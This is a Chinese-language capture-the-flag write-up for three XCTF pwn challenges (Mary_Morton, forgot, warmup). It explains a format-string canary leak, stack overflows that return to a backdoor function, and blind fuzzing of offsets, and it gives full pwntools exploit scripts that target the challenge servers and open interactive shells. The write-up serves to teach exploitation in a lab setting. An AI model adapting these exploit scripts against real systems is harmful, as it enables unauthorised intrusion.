攻防世界进阶Pwn

攻防世界pwn进阶区

Mary_Morton

本题利用思路是先用格式化字符串漏洞泄露canary,之后利用栈溢出,让其返回到后门。

开局经典测格式化字符串的偏移

image-20211102203929373

step=6

canary的偏移,距离是 0x90-8=0x88,填满覆盖canary。之后是0x88/8=17(64位每个格式化字符串8字节,除以8就是一个的),最后17+6=23,leak_canary

image-20211102203440387

栈溢出直接返回后门

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
#r=process("./pwn4")
r=remote("111.200.241.244",56994)
#context.log_level = 'debug'
r.recvuntil("3. Exit the battle ")
r.sendline('2')
leak_canary='%23$p'
r.sendline(leak_canary)
r.recvuntil('0x')
canary=int(r.recv(16),16)#接收16个字节,以16进制打印
print (canary)
sh=0x4008da
payload='a'*0x88+p64(canary)+'a'*8+p64(sh)
r.recvuntil('3. Exit the battle')
r.sendline('1')
r.sendline(payload)
r.interactive()

forgot

image-20211102212959367

这题其实看着简单,考眼力。。

image-20211102213036065

观察scanf发现v2可以溢出

image-20211102213204003

分析函数的最后发现很明显就用v2覆盖v3,造成栈溢出。由代码看出v2v3之间0x74-0x54=0x20

然后有后门就直接ROP打了

1
2
3
4
5
6
7
8
from pwn import *
p=remote('111.200.241.244',55503)
p.recvuntil("> ")
p.sendline('1')
payload='A'*0x20+p32(0x080486cc)
p.recvuntil("> ")
p.sendline(payload)
p.interactive()

warmup

wp参考:(13条消息) 攻防世界PWN进阶区(warmup)_BurYiA的博客-CSDN博客

知识补充:模糊测试(Fuzzing),是一种通过向目标系统提供非预期的输入并监视异常结果来发现软件漏洞的方法。fuzz也就是盲打,在啥也没给的情况下一般就是fuzz

直接nc,发现有输出一个地址,还有输入点

image-20211103161054528

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *
#context.log_level = 'debug'
addr = 0x40060d

def fuzz(r, num, flag):
payload = 'a' * num
if flag==1:
payload += p32(addr)
if flag==2:
payload += p64(addr)
r.recvuntil(">")
r.sendline(payload)
#fuzz模块,分三种情况(不用他的地址,p32发,p64发)
def main():
for i in range(1000):
print(i)
for j in range(3):
try:
r = remote("111.198.29.45", 46588)
fuzz(r, i, j)
text = r.recv()
print('text.len='+str(len(text))+'text='+text)
print('num='+str(i)+' flag='+str(j))
r.interactive()
except:
r.close()

if __name__ == '__main__':
main()

脚本跑完就出来了